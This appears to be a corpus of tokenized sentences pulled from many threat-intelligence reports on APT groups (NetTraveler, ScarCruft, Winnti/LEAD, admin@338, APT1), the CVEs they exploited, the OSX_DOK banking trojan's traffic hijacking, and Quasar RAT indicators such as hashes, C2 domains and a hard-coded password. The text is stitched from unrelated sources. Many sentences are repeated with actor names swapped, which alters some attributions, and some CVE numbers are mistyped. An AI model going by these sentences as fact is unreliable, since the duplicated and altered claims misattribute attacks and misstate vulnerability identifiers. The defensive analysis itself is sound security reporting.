Unit 42 's analysis shows that NetTraveler attempted to exploit CVE-2012-0158 to install NetTraveler Trojan .
Our analysis shows that NetTraveler attempted to exploit CVE-2012-0158 to install NetTraveler Trojan .
In this report , we'll review how the actors attempted to exploit CVE-2012-0158 to install the NetTraveler Trojan .
In this report , we'll review how NetTraveler attempted to exploit CVE-2012-0158 to install the NetTraveler Trojan .
In this report , we'll review how the NetTraveler attempted to exploit CVE-2012-0158 to install the NetTraveler Trojan .
Kaspersky Lab 's products detect the Microsoft Office exploits used in the spear-phishing attacks , including Exploit.MSWord.CVE-2010-333 , Exploit.Win32.CVE-2012-0158 .
The files exploit the well-known Microsoft Office vulnerability , CVE-2012-0158 , to execute malicious code in order to take control of the targeted systems .
Earlier this month , Securelist 's technology caught another zero-day exploits deployed in targeted attacks .
Operation Daybreak appears to have been launched by ScarCruft in March 2016 and employs a previously unknown ( 0-day ) Adobe Flash Player exploit .
Adobe Flash Player exploit .
It is also possible that ScarCruft deployed another zero day exploit , CVE-2016-0147 , which was patched in April .
Operation Erebus leverages another Flash Player exploit ( CVE-2016-4117 ) through the use of watering hole attacks .
ScarCruft 's Operation Erebus leverages another Flash Player exploit ( CVE-2016-4117 ) through the use of watering hole attacks .
Nevertheless , resourceful threat actors such as ScarCruft will probably continue to deploy zero-day exploits against their high profile targets .
This malware uses the public privilege escalation exploit code CVE-2018-8120 or UACME which is normally used by legitimate red teams .
Earlier this month , we caught another zero-day Adobe Flash Player exploits deployed in targeted attacks .
The other one , ScarCruft 's Operation Erebus employs an older exploit , for CVE-2016-4117 and leverages watering holes .
The other one , " Operation Erebus " employs an older exploit , for CVE-2016-4117 and leverages watering holes .
The ScarCruft APT gang has made use of a Flash zero day patched Thursday by Adobe to attack more than two dozen high-profile targets in Russia and Asia primarily .
Adobe on Thursday patched a zero-day vulnerability in Flash Player that has been used in targeted attacks carried out by a new APT group operating primarily against high-profile victims in Russia and Asia .
Researchers at Kaspersky Lab privately disclosed the flaw to Adobe after exploits against the zero-day were used in March by the ScarCruft APT gang in what Kaspersky Lab is calling Operation Daybreak .
Kaspersky speculates that ScarCruft could also be behind another zero-day , CVE-2016-0147 , a vulnerability in Microsoft XML Core Services that was patched in April .
Another set of attacks called Operation Erebus leverages another flash exploit , CVE-2016-4117 , and relies on watering hole attacks as a means of propagation .
Thursday 's Flash Player update patched 36 vulnerabilities in total including the zero day CVE-2016-4171 .
Wild Neutron 's attacks in 2015 uses a stolen code signing certificate belonging to Taiwanese electronics maker Acer and an unknown Flash Player exploit .
Wild Neutron 's attack took advantage of a Java zero-day exploit and used hacked forums as watering holes .
Instead of Flash exploits , older Wild Neutron exploitation and watering holes used what was a Java zero-day at the end of 2012 and the beginning of 2013 , detected by Kaspersky Lab products as Exploit.Java.CVE-2012-3213.b .
In that case , we observed Buhtrap using a local privilege escalation exploit , CVE-2019-1132 , against one of its victims .
Prior to that report , we published detail analysis on malware exploiting CVE-2018-8414 vulnerability (remote code execution in SettingContent-ms) , which is believed a work of DarkHydrus .
WannaCry incorporated the leaked EternalBlue exploit that used two known vulnerabilities in Windows CVE-2017-0144 and CVE-2017-0145 to turn the ransomware into a worm , capable of spreading itself to any unpatched computers on the victim's network and also to other vulnerable computers connected to the internet .
One vulnerability is a Windows zero-day vulnerability ( CVE-2019-0703 ) discovered by Symantec .
 Bemstour exploits two Windows vulnerabilities in order to achieve remote kernel code execution on targeted computers .
The second Windows vulnerability ( CVE-2017-0143 ) was patched in March 2017 after it was discovered to have been used by two exploit tools—EternalRomance and EternalSynergy—that were also released as part of the Shadow Brokers leak .
These include CVE-2010-3962 as part of an attack campaign in 2010 and CVE-2014-1776 in 2014 .
 Beginning in August 2016 , a group calling itself the Shadow Brokers began releasing tools it claimed to have originated from the Equation Group .
The zero-day vulnerability found and reported by Symantec CVE-2019-0703 occurs due to the ACT the Windows SMB Server handles certain requests .
CVE-2017-0143 was also used by two other exploit tools—EternalRomance and EternalSynergy—that were released as part of the Shadow Brokers leak in April 2017 .
this RTF exploits again the CVE-2017-1882 on eqnedt32.exe .
At this time , we do not believe that the attackers found a new ASA exploit .
We believe the groups moved to use CVE-2018-0798 instead of the other Microsoft Equation Editor Remote Code Execution ( RCE ) vulnerabilities because the former is more reliable as it works on all known versions of Equation Editor .
The analyzed RTF files share the same object dimension (objw2180\objh300) used to track the RTF weaponizer in our previous report , however , the sample was not exploiting CVE-2017-11882 or CVE-2018-0802 .
After further analysis , it was discovered that the RTF files were exploiting the CVE-2018-0798 vulnerability in Microsoft ’s Equation Editor ( EQNEDT32 ) .
Anomali Researchers were able to identify multiple samples of malicious RTF documents ITW using the same exploit for CVE-2018-0798 .
CVE-2018-0798 is an RCE vulnerability , a stack buffer overflow that can be exploited by a threat actor to perform stack corruption .
As observed previously with CVE-2017-11882 and CVE-2018-0802 , the weaponizer was used exclusively by Chinese Cyber Espionage actors for approximately one year December 2017 through December 2018 , after which cybercrime actors began to incorporate it in their malicious activity .
Analysis of the Royal Road weaponizer has resulted in the discovery that multiple Chinese threat groups started utilizing CVE-2018-0798 in their RTF weaponizer .
These findings also suggest that the threat groups have robust exploit developing capabilities because CVE-2018-0798 is not widely reported on and it is typically not incorporated into publicly available weaponizers .
Upon opening of the MS Word document , our embedded file exploits CVE-2017-11882 to drop a malicious fake Norton Security Shell Extension module , 'NavShExt.dll' , which is then injected into iexplore.exe to install the backdoor , begin collection , and activate command and control .
Moving through the infection process , NetWitness Endpoint detects the initial exploit CVE-2017-1182 in action as the Microsoft Equation Editor , 'EQNEDT32.exe' , scores high for potentially malicious activity .
Attackers relied on Microsoft Equation Editor exploit CVE-2018-0798 to deliver a custom malware that Proofpoint researchers have dubbed Cotx RAT. Maudi Surveillance Operation which was previously reported in 2013 .
specifically CVE-2018-0798 , before downloading subsequent payloads .
Dubbed ‘Operation Sheep’ , this massive data stealing campaign is the first known campaign seen in the wild to exploit the Man-in-the-Disk vulnerability revealed by Check Point Research earlier last year .
Notably , APT41 was observed using proof-of-concept exploit code for CVE-2019-3396 within 23 days after the Confluence .
We’ve discovered a new version of BalkanDoor with a new method for execution/installation: an exploit of the WinRAR ACE vulnerability CVE-2018-20250 .
In some of the latest samples of BalkanDoor detected in 2019 , the malware is distributed as an ACE archive , disguised as a RAR archive (i.e. , not an executable file) , specially crafted to exploit the WinRAR ACE vulnerability CVE-2018-20250 .
The actor attempts to exploit CVE-2018–8440 — an elevation of privilege vulnerability in Windows when it improperly handles calls to Advanced Local Procedure Call — to elevate the privileges using a modified proof-of-concept exploit .
The China Chopper actor activity starts with the download and execution of two exploit files which attempt to exploit the Windows vulnerabilities CVE-2015-0062 , CVE-2015-1701 and CVE-2016-0099 to allow the attacker to modify other objects on the server .
Previously , Cloud Atlas dropped its validator” implant named PowerShower” directly , after exploiting the Microsoft Equation vulnerability CVE-2017-11882 mixed with CVE-2018-0802 .
The following archive caught our attention for exploiting a WinRAR unacev2 module vulnerability and for having interesting content .
Mimikatz is a post-exploitation tool that allows attackers to extract credentials from volatile memory .
Analysis of the emails has shown that the attachment contains an exploit for the CVE-2017-11882 vulnerability .
The exploit installs Silence’s loader , designed to download backdoors and other malicious programs .
We believe Emissary Panda exploited a recently patched vulnerability in Microsoft SharePoint tracked by CVE-2019-0604 , which is a remote code execution vulnerability used to compromise the server and eventually install a webshell .
Of particular note is their use of tools to identify systems vulnerable to CVE-2017-0144 , which is the same vulnerability exploited by EternalBlue that is best known for its use in the WannaCry attacks of 2017 .
In addition to the aforementioned post-exploitation tools , the actors used these webshells to upload legitimate executables that they would use DLL sideloading to run a malicious DLL that has code overlaps with known Emissary Panda attacks .
OSX Malware Linked to Operation Emmental Hijacks User Network Traffic .
The OSX_DOK malware ( Detected by Trend Micro as OSX_DOK.C ) showcases sophisticated features such as certificate abuse and security software evasion that affects machines using Apple ’s OS X operating system .
This malware , which specifically targets Swiss banking users , uses a phishing campaign to drop its payload , which eventually results in the hijacking of a user ’s network traffic using a Man-in-the-Middle ( MitM ) attack .
OSX_DOK.C seems to be another version of WERDLOD ( Detected by Trend Micro as TROJ_WERDLOD Family ) , which is a malware that was used during the Operation Emmental campaigns—an interesting development that we will tackle further in this blog post .
OSX_DOK.C first arrives via a phishing email that contains certain files labeled as either .zip or .docx files .
The sample we analyzed was a purported message from a police inspector in Zurich allegedly claiming to unsuccessfully contact the recipient .
The email also comes with two files attached claiming to contain questions for the user : one is a .zip file , which is a fake OS X app , while the other is a .docx file used to target Windows operating systems using WERDLOD .
Both of these samples work as Banking Trojans and provide similar functionalities .
Some examples of the files used in the email attachment include the following :Zahlungsinformationen 01.06.2017.zip .
Zahlungsinformationen digitec.zip .
Dokument 09.06.2017.zip .
Dokument 09.06.2017.docx .
Once the docx file included in the phishing email is clicked , a warning window will pop up .
After this , the App Store on the system will be removed , followed by a full screen fake OS X update screen .
It will ask for a password to run command as root .
The malware will begin to download other utilities .
It relies on Homebrew , an open source software package manager to install Golang and Tor .
The malware will then install fake certificates in the system to perform a MitM attack without notifying the user .
The structure of the fake App Store matches the application bundle structure and provides both English and German interfaces .
The archive in Mac OS X looks like this :Mac OS X will run the application if it passes certificates .
In this case , the malware is signed off by a “ developer ” , which may actually be a dummy account or that of a compromised user .
In addition , the time stamp on the CA is new , which might mean that it was obtained specifically for this attack .
The fake certificate imitates the COMODO root certificate .
Take note that the fake certificate does not contain a COMODO Certificate Authority seal that certifies its validity , as seen in the comparison below :We noticed that this malware will not work for Mozilla Firefox or Google Chrome since these two browsers have their own root certificates .
Of all the major browsers , only Safari uses the system ’s certificates .
We observed the attacker targeting both Windows and Mac OS X in the same spam mail on June 9 , 2017 .
There is a file shortcut embedded in the malicious .docx file—one that will download an executable file from Dropbox that executes once clicked by the user .
The functionalities are similar to the malicious app provided , which includes installing tor and proxy .
We have already notified Dropbox about the use of its service for this malware .
Dropbox has already taken down the links .
The malware will install two proxies running on local host port 5555 and 5588 .
All of the traffic will be hijacked into the first proxy ( port 5555 ) with the victim ’s external IP address as parameter .
The first ( port 5555 ) proxy first finds the IP parameter .
If it is not in Switzerland , the traffic will proceed as normal .
If it detects an IP located in Switzerland , the malware will run an obfuscated JavaScript code and find its visiting domain .
If the domain is in the target , the malware will perform a MitM attack and redirect the traffic to the second proxy ( port 5588 ) , which routes the traffic to the Tor network .
The purpose of these steps is to target users in Switzerland and hijack their traffic After deobfuscating the malware , we found the target domains :The target domain ’s visitors will be redirected into an e-banking login page that looks and acts normally , but is located on dark web sites .
However , once the victim enters an account and password .
A window will pop out .
The pop-out window is just smoke and mirrors , where nothing actually happens once the countdown timer reaches zero .
We analyzed the webpage and found attackers injecting a script into the webpage .
Once the user enters an account and password , it will initiate POST using AJAX .
The POST message is sent to the same site as the fake login page—which an attacker can control inside the Tor network .
We decoded the data section and found not only the account and password , but that it also fingerprinted the user ’s browser and system information .
While Operation Emmental was able to bypass two-way authentication by tricking its victims into installing a fake app , we have not observed OSX_DOK.C doing this .
However , since they can inject code into the webpage , it means they have the ability to do this as well .
We performed static analysis on the sample and found it packed by Ultimate Packer for Executables ( UPX ) , an open source executable packer that can often be abused by malware .
We successfully unpacked the initial sample we found dropped by the UPX unpacker .
The malware is not obfuscated so we easily found interesting strings here .
We can see that the malware relies on bash shell for most of its setup .
We were not able to unpack the sample discovered after June 9 , 2017 .
The UPX gave a warning message about memory buffer overflow .
The malware author seemingly made unpacking the malware more difficult to slow down or even evade the antivirus engine ’s scanning process .
The packer is the same but the malware tries to exploit the undiscovered bug in the UPX library that causes unpack failure .
We have reported the issues to the UPX team , and they have already fixed it .
The impacted versions of the UPX library are 3.94 , 3.93 , and 3.92 .
This technique enables the malware to efficiently run while evading unpacking techniques from the AntiVirus-integrated UPX library .
As mentioned earlier , we believe that OSX_DOK.C might be the MAC OS X version of WERDLOD , an online banking malware that used the same techniques as Operation Emmental .
Other research have also connected the OSX malware and Retefe ( the external term used for WERDLOD ) via similarities in their behavior .
While OSX_DOK.C is designed forOS X , which is a Unix-like system , WERDLOD is designed for Windows .
But in terms of features and behaviors , these two malware are very similar .
Here is a list of their similarities .
Both malware kill all current browsers before installing fake certificates :Both WERDLOD and OSX_DOK.C are designed to kill the browser process before installing fake certificates .
While WERDLOD kills processes for Internet Explorer , Firefox , and Chrome , OSX_DOK.C does the same on Safari , Firefox , and Chrome .
Both malware share the same proxy settings and script :While WERDLOD and OSX_DOK.C use different codes ( since they target different operating systems ) , they have similar proxy settings and script formats .
In particular , WERDLOD uses scripts running on http://127.0.0.1:5555/#{random_string}.js?ip=#{my_ip} as proxy :Comparing it to OSX_DOK.C , we can see that it uses the same script format .
Both malware have similar targets .
Both WERDLOD and OSX_DOK.C targeted financial institutions , with a particular focus on banks in Switzerland .
Further analysis of both malware revealed that their main targets are very similar , as seen in the screenshot below .
While it ’s possible that this is a coincidence , the rest of the evidence makes it unlikely for these two malware to target the same organizations by chance .
Given the connection between WERDLOD and OSX_DOK.C , it is reasonable to assume that the latter is also a part of the Operational Emmental campaign .
To further illustrate , here is a timeline of Operation Emmental and its potential relationship to OSX_DOK.C :Despite phishing incidents for Mac devices being rarer than their Windows counterparts , users should still be aware that attackers can target them at any moment .
By implementing best practices for phishing-type attacks—such as refraining from downloading files unless they are absolutely certain that they come from trustworthy sources—users can avoid being victimized by malware such as OSX_DOK.C that prey on users who lack awareness of phishing strategies .
In addition , end users can also benefit from security solutions such as Trend Micro Home Security for Mac , which provides comprehensive security and multi-device protection against viruses , ransomware , malicious websites , and identity thieves .
It also provides secure storage of passwords and other sensitive information .
Trend Micro™ Mobile Security for Apple devices ( available on the App Store ) can monitor and block phishing attacks and other malicious URLs .
For enterprises , Trend Micro ’s Smart Protection Suites with XGen™ security , which support Mac systems , infuse high-fidelity machine learning into a blend of threat protection techniques to eliminate security gaps across any user activity and any endpoint .
Detecting threat actors in recent German industrial attacks with Windows Defender ATP .
When a Germany-based industrial conglomerate disclosed in December 2016 that it was breached early that year , the breach was revealed to be a professionally run industrial espionage attack .
According to the German press , the intruders used the Winnti family of malware as their main implant , giving them persistent access to the conglomerate ’s network as early as February 2016 .
In this blog , we look at the Winnti malware implant as used by two known activity groups BARIUM and LEAD .
We look at how these activity groups introduce the implant to various targets and techniques used by Microsoft researchers to track the implant .
To show how this breach and similar breaches can be mitigated , we look at how Windows Defender Advanced Threat Protection ( Windows Defender ATP ) flags activities associated with BARIUM , LEAD , and other known activity groups and how it provides extensive threat intelligence about these groups .
We go through the Winnti implant installation process and explore how Windows Defender ATP can capture such attacker methods and tools and provide visualized contextual information that can aid in actual attack investigation and response .
We then discuss how centralized response options , provided as enhancements to Windows Defender ATP with the Windows 10 Creators Update , can be used to quickly stop threats , including stopping command and control ( C&C ) communication and preventing existing implants from installing additional components or from moving laterally to other computers on the network .
Microsoft Threat Intelligence associates Winnti with multiple activity groups—collections of malware , supporting infrastructure , online personas , victimology , and other attack artifacts that the Microsoft intelligent security graph uses to categorize and attribute threat activity .
Microsoft labels activity groups using code names derived from elements in the periodic table .
In the case of this malware , the activity groups strongly associated with Winnti are BARIUM and LEAD .
But even though they share the use of Winnti , the BARIUM and LEAD activity groups are involved in very different intrusion scenarios .
BARIUM begins its attacks by cultivating relationships with potential victims—particularly those working in Business Development or Human Resources—on various social media platforms .
Once BARIUM has established rapport , they spear-phish the victim using a variety of unsophisticated malware installation vectors , including malicious shortcut ( .lnk ) files with hidden payloads , compiled HTML help ( .chm ) files , or Microsoft Office documents containing macros or exploits .
Initial intrusion stages feature the Win32/Barlaiy implant—notable for its use of social network profiles , collaborative document editing sites , and blogs for C&C .
Later stages of the intrusions rely upon Winnti for persistent access .
The majority of victims recorded to date have been in electronic gaming , multimedia , and Internet content industries , although occasional intrusions against technology companies have occurred .
In contrast , LEAD has established a far greater reputation for industrial espionage .
In the past few years , LEAD ’s victims have included :Multinational , multi-industry companies involved in the manufacture of textiles , chemicals , and electronics .
Pharmaceutical companies .
A company in the chemical industry .
University faculty specializing in aeronautical engineering and research .
A company involved in the design and manufacture of motor vehicles .
A cybersecurity company focusing on protecting industrial control systems .
During these intrusions , LEAD ’s objective was to steal sensitive data , including research materials , process documents , and project plans .
LEAD also steals code-signing certificates to sign its malware in subsequent attacks .
In most cases , LEAD ’s attacks do not feature any advanced exploit techniques .
The group also does not make special effort to cultivate victims prior to an attack .
Instead , the group often simply emails a Winnti installer to potential victims , relying on basic social engineering tactics to convince recipients to run the attached malware .
In some other cases , LEAD gains access to a target by brute-forcing remote access login credentials , performing SQL injection , or exploiting unpatched web servers , and then they copy the Winnti installer directly to compromised machines .
Microsoft Analytics shows that Winnti has been used in intrusions carried out throughout Asia , Europe , Oceania , the Middle East , and the United States in the last six months .
The most recent series of attacks observed was in December 2016 .
Although tracking threats like Winnti involves old-fashioned investigative work , Microsoft Threat Intelligence analysts take advantage of machine learning to work at scale .
When attackers used Winnti to maintain access to web servers , they hid the implant in plain sight by masquerading it as a trusted , legitimate file .
This was the case in two known intrusions in 2015 , where attackers named the implant DLL “ ASPNET_FILTER.DLL ” to disguise it as the DLL for the ASP.NET ISAPI Filter .
Although there are obvious differences between the legitimate file and the malicious one , filtering out the malicious file would involve going through a data set with noise from millions of possible file names , software publishers , and certificates .
Microsoft researchers used a combination of anomaly detection and supervised machine learning to reduce the data set and separate meaningful , malware-related anomalies from benign data .
Windows Defender ATP helps network security professionals deal with intrusions from activity groups like LEAD and BARIUM in several ways .
The following examples were developed using a Winnti installer that was used in attacks in December 2016 .
Microsoft Threat Intelligence continually tracks activity groups such as LEAD and BARIUM and documents the tactics , techniques , and procedures they employ in their attacks , with a special focus on the tools and infrastructure they use to facilitate those attacks .
Windows Defender ATP continuously monitors protected systems for such indicators of hostile activity and alerts security operations center ( SOC ) personnel to their presence .
To provide context around such alerts , Windows Defender ATP also features a short summary of the group ’s history , goals , methods , and tools , with links to extensive documentation for technically minded users .
Windows Defender ATP is also capable of detecting previously unknown attacks by monitoring system behavior indicative of hostile activity , including :Malware installation , persistence , and activation .
Backdoor command and control .
Credential theft .
Lateral movement to other machines on the network .
For example , numerous malware families register themselves as services during installation to guarantee persistence across reboots .
A majority of malware that perform this persistence technique modify the necessary registry keys in ways that do not fit the profile of a legitimate program .
Winnti is no exception , and so , during Winnti ’s installation process , Windows Defender ATP is able to raise behavioral alerts .
To improve coverage while minimizing false positives , Windows Defender ATP uses the intelligent security graph to differentiate between suspicious and benign behavior before generating alerts .
It considers the age of the file , its global prevalence , and the presence and validity of a digital signature along with the method of service creation .
For alerts raised either by specific threat intelligence tied to activity groups or by more generic suspicious behaviors , Windows Defender ATP provides rich , visualized technical context .
This visual context enables SOC personnel to investigate alerts with all related artifacts , understand the scope of the breach , and prepare a comprehensive action plan .
In the screenshots below , Windows Defender ATP clearly presents the Winnti installation where an installer drops a DLL to disk , loads the DLL using rundll32 , sets the DLL as a service , and saves a copy of itself in C:\Windows\Help .
Windows Defender ATP displays these activities as process trees in a machine timeline for the infected computer .
Analysts can easily extract detailed information from these trees , such as the implant DLL dropped by the installer , the command used to call rundll32.exe and load the DLL , and the registry modifications that set the DLL as a service .
This information can provide an initial means by which to assess the scope of the breach .
The Windows 10 Creators Update will bring several enhancements to Windows Defender ATP that will provide SOC personnel with options for immediate mitigation of a detected threat .
If an intruder compromises a computer that has been onboarded to Windows Defender ATP , SOC personnel can isolate the computer from the network , blocking command and control of the implant and preventing attackers from installing additional malware and moving laterally to other computers in the network .
Meanwhile , connectivity to the Windows Defender ATP service is maintained .
While the machine is in isolation , SOC personnel can direct the infected machine to collect live investigation data , such as the DNS cache or security event logs , which they can use to verify alerts , assess the state of the intrusion , and support follow-up actions .
Another option is to simply halt and quarantine the Winnti implant itself , stopping the intrusion on a single machine .
LEAD and BARIUM are not known for large-scale spear-phishing , so it is unlikely that SOC personnel would have to deal with multiple machines having been compromised by these groups at the same time .
Nevertheless , Windows Defender ATP also supports blocking the implant across the entire enterprise , stopping large-scale intrusions in the early stages .
With the enhanced post-breach detection capabilities of Windows Defender ATP , SOC personnel are able to reduce this period to hours or even minutes , significantly lessening the potential impact of persistent attacker access to their network .
Windows Defender ATP provides extensive information about activity groups responsible for the attacks , enabling customers to understand aspects of the attack that may not be obtained by network and endpoint sensors , such as common social engineering lures and the regional nature of an attack .
With relevant visualized information , analysts are able to study malware behavior on impacted machines , so they can investigate further and plan out their response .
Detecting threat actors in recent German industrial attacks with Windows Defender ATP .
Detecting threat actors in recent German industrial attacks with Windows Defender ATP .
Downeks and Quasar RAT Used in Recent Targeted Attacks Against Governments .
Palo Alto Networks Traps Advanced Endpoint Protection recently prevented recent attacks that we believe are part of a campaign linked to DustySky .
DustySky is a campaign which others have attributed to the Gaza Cybergang group , a group that targets government interests in the region .
This report shares our researchers ’ analysis of the attack and Remote Access Tool ( RAT ) .
We also discovered during our research that the RAT Server used by this attacker is itself vulnerable to remote attack , a double-edged sword for these attackers .
The initial infection vector in this attack is not clear , but it results in installing the “ Downeks ” downloader , which in turn infects the victim computer with the “ Quasar ” RAT .
Downeks uses third party websites to determine the external IP of the victim machine , possibly to determine victim location with GeoIP .
It also drops decoy documents in an attempt to camouflage the attack .
Quasar is a .NET Framework-based open-source RAT .
The attackers invested significant effort in attempting to hide the tool by changing the source code of the RAT and the RAT server , and by using an obfuscator and packer .
Unit 42 researchers observed the Quasar RA being prevented from executing on a Traps-protected client in September 2016 .
We observed these Quasar samples :f-secure.exe : 99a7cb43fb2898810956b6137d803c8f97651e23f9f13e91887f188749bd5e8f connects to hnoor.newphoneapp.com .
HD_Audio.exe : 0c4aa50c95c990d5c5c55345626155b87625986881a2c066ce032af6871c426a connects to manual.newphoneapp.com .
HD_Audio.exe : 86bd78b4c8c94c046d927fb29ae0b944bf2a8513a378b51b3977b77e59a52806 crashes upon execution .
 sim.exe 723108103ccb4c166ad9cdff350de6a898489f1dac7eeab23c52cd48b9256a42 connects to hnoor.newphoneapp.com .
Further research found other Quasar examples , an attack earlier in the month 2016 on the same target :SHA256 : 1ac624aaf6bbc2e3b966182888411f92797bd30b6fcce9f8a97648e64f13506f .
We found the same Quasar code in an additional attack on the same day , but upon a different target .
A second Quasar sample was also observed attacking this new victim :SHA256 : 99a7cb43fb2898810956b6137d803c8f97651e23f9f13e91887f188749bd5e8f .
We do not have detailed visibility into the specific host attacked , and have not been able to reproduce the second stage of the attack in our lab .
However , based upon the timeframe of subsequent telemetry we observe , we understand the attack chain as follows :The initial dropper ( which varies across attacks ) is delivered to the victim via email or web :File Name : Joint Ministerial Council between the GCC and the EU Council.exe ” .
SHA256 0d235478ae9cc87b7b907181ccd151b618d74955716ba2dbc40a74dc1cdfc4aa .
The initial dropper , upon execution , extracts an embedded Downeks instance :File Name : ati.exe .
SHA256 f19bc664558177b7269f52edcec74ecdb38ed2ab9e706b68d9cbb3a53c243dec .
Downeks makes a POST request to dw.downloadtesting.com , resulting in the installation of the Quasar RAT on the victim machine .
Additional Downeks downloaders connecting to the previously-observed server dw.downloadtesting.com were also found in this attack :SHA256 15abd32342e87455b73f1e2ecf9ab10331600eb4eae54e1dfc25ba2f9d8c2e8a .
SHA256 9a8d73cb7069832b9523c55224ae4153ea529ecc50392fef59da5b5d1db1c740 .
Further research identified dozens of Dowenks and Quasar samples related to these attackers .
All included decoy document written in Arabic ( all related to Middle Eastern politics ) or Hebrew .
Most of them use the same mutex structure , share the same fake icon and unique metadata details , file writes , registry operations , and fake common program metadata , as seen in DustySky samples .
The Downeks downloader and Quasar C2 infrastructures are each self-contained and independent of each other .
However , we did find a single shared IP address demonstrably connecting the Downeks downloader and Quasar C2 infrastructure .
We saw five samples built on the same date in December 2015 , and six on the same date in January , further solidifying the link between each sample .
We analyzed a Quasar sample we found that was communicating with an active C2 server at the time of analysis :SHA256 : 4393ff391396cdfd229517dd98aa7faecad04da479fe8ca322f035ceee363273 .
Quasar is a publicly-available commodity RAT , an evolution of his earlier xRAT , by German developer “ MaxXor ” .
This sample is a modified version of Quasar , most likely forked from open source version 1.2.0.0 on GitHub .
The client was likely built using the Quasar server client builder .
We observed the following customizations :C2 server : app.progsupdate.com , which resolved to 185.141.25.68 ) , over port 4664 .
Quasar mutex name : VMFvdCsC7RFqerZinfV0sxJFo .
Keylogger log location : Users\hJTQwqwwSCkZU\AppData\Roaming\GoogleDesktop\<date> .
The malware uses fake version information to appear as a Microsoft update program , as well as Google Desktop once unpacked .
This sample is packed by “ Netz ” , a simple .NET Framework packer which stores the original executable compressed ( zlib ) as a resource .
At runtime , the packer decompresses the resource and uses Reflection to load the assembly , find its Entry point , and Invoke it .
Extracting the payload is straight forward – we simply dump the resource and decompress it .
We discovered that the sample was obfuscated using .NET reactor .
It is possible to decompile the deobfuscated sample and retrieve most of the original source code but not enough to compile it easily .
After deobfuscation we extracted :SHA256 : d773b12894d4a0ffb0df328e7e1aa4a7112455e88945a10471650e503eecdb3d .
After decompiling the sample , we were able to document the modifications from the open-source Quasar .
The configuration of Quasar is stored in the Settings object , which is encrypted with a password which is itself stored unencrypted .
The ISCHECKIP and INSTARTUPFOLDER are not found in open source Quasar samples .
The sample we analyzed is using RijndaelManaged with ECB mode and PKCS7 padding .
The key is the SHA256 hash of the hard-coded password .
The password of the sample we analyzed is : “ 6y7u^Y&U6y7u^Y&U6y7u^Y&U ” .
Although at first glance this appears somewhat complex , it is in fact a rather simple , repeated keyboard sequence .
We observe similar keyboard patterns in other samples : “ 567%^& ” , “ zxc!@#ASD ” .
The admin@338 has largely targeted organizations involved in financial , economic and trade policy , typically using publicly available RATs such as Poison Ivy , as well some non-public backdoors .
The admin@338 started targeting Hong Kong media companies , probably in response to political and economic challenges in Hong Kong and China .
Multiple China-based cyber threat groups have targeted international media organizations in the past .
The admin@338 has targeted international media organizations in the past .
In August 2015 , the admin@338 sent spear phishing emails to a number of Hong Kong-based media organizations , including newspapers , radio , and television .
In August 2015 , the threat actors sent spear phishing emails to a number of Hong Kong-based media organizations , including newspapers , radio , and television .
In August 2015 , the admin@338 sent spear phishing emails to a number of Hong Kong-based media organizations .
The admin@338 previous activities against financial and policy organizations have largely focused on spear phishing emails written in English , destined for Western audiences .
Once the LOWBALL malware calls back to the Dropbox account , the admin@338 will create a file called upload.bat which contains commands to be executed on the compromised computer .
We observed the admin@338 upload a second stage malware , known as BUBBLEWRAP ( also known as Backdoor.APT.FakeWinHTTPHelper ) to their Dropbox account along with the following command .
We have previously observed the admin@338 group use BUBBLEWRAP .
The LOWBALL first stage malware allows the group to collect information from victims and then deliver the BUBBLEWRAP second stage malware to their victims after verifying that they are indeed interesting targets .
The admin@338 linked to China and alleged to be responsible for targeted attacks against foreign governments and ministries , has now pointed its focus inward at China autonomous territory Hong Kong .
linked to China and alleged to be responsible for targeted attacks against foreign governments and ministries , has now pointed its focus inward at China autonomous territory Hong Kong .
The group targeting Hong Kong media outlets is called admin@338 and is known to researchers for using publicly available remote access Trojans such as Poison Ivy to attack government and financial firms specializing in global economic policy .
The agroup targeting Hong Kong media outlets is called admin@338 and is known to researchers for using publicly available remote access Trojans such as Poison Ivy to attack government and financial firms specializing in global economic policy .
The admin@338 , active since 2008 , has been seen targeting organizations in the financial services , telecoms , government , and defense sectors .
The APT actor , active since 2008 , has been seen targeting organizations in the financial services , telecoms , government , and defense sectors .
In August 2013 , FireEye reported that admin@338 had been using the Poison Ivy RAT in its operations .
In March 2014 , the admin@338 leveraged the disappearance of Malaysia Airlines Flight MH370 to target a government in the Asia-Pacific region and a US-based think tank .
In March 2014 , the group leveraged the disappearance of Malaysia Airlines Flight MH370 to target a government in the Asia-Pacific region and a US-based think tank .
According to FireEye , the admin@338 sent out emails containing malicious documents designed to exploit Microsoft Office vulnerabilities in an effort to deliver a piece of malware dubbed LOWBALL .
According to FireEye , the attackers sent out emails containing malicious documents designed to exploit Microsoft Office vulnerabilities in an effort to deliver a piece of malware dubbed LOWBALL .
The admin@338 's Dropbox accounts have also been found to contain a different backdoor dubbed BUBBLEWRAP .
Researchers have pointed out that it is not uncommon for China-based threat groups to target Hong Kong media organizations , particularly ones whose reporting focuses on the pro-democracy movement .
Researchers have pointed out that it is not uncommon for admin@338 to target Hong Kong media organizations , particularly ones whose reporting focuses on the pro-democracy movement .
This week the experts at FireEye discovered that a group of Chinese-based hackers called admin@338 had sent multiple MH370-themed spear phishing emails , the attackers targeted government officials in Asia-Pacific , it is likely for cyber espionage purpose .
The attackers used the popular Poison Ivy RAT and WinHTTPHelper malware to compromise the computers of government officials .
The admin@338 used the popular Poison Ivy RAT and WinHTTPHelper malware to compromise the computers of government officials .
FireEye analysts documented the admin@338 group 's activities in a previous paper titled Poison Ivy : Assessing Damage and Extracting Intelligence paper .
The spear-phishing campaign against Asian entities isn't isolated , the admin@338 also started another attack against the US-based think tank on 14th March .
Our analysis has led us to conclude that APT1 is likely government-sponsored and one of the most persistent of China 's cyber threat actors .
FireEye said it has tracked admin@338 's activity since 2013 and the group has largely targeted organizations involved in financial , economic , and trade policy .
The simplest conclusion based on these facts is that APT1 is operating in China , and most likely in Shanghai .
These data sets show that APT1 is either operating in China during normal Chinese business hours or that APT1 is intentionally going to painstaking lengths to look like they are .
APT1 has used and steadily modified BISCUIT since as early as 2007 and continues to use it presently .
While APT1 intruders occasionally use publicly available backdoors such as Poison Ivy and Gh0st RAT .
Given the mission , resourcing , and location of PLA Unit 61398 , we conclude that PLA Unit 61398 is APT1 .
APT1 were a highly prolific cyber-attack group operating out of China .
APT1 is a China-based cyber-espionage group , active since mid-2006 .
APT12 's targets are consistent with larger People 's Republic of China ( PRC ) goals .
Since the release of the Arbor blog post , FireEye has observed APT12 use a modified backdoor that we call HIGHTIDE .
However , the malware shared several traits with the RIPTIDE and HIGHTIDE backdoor that we have attributed to APT12 .
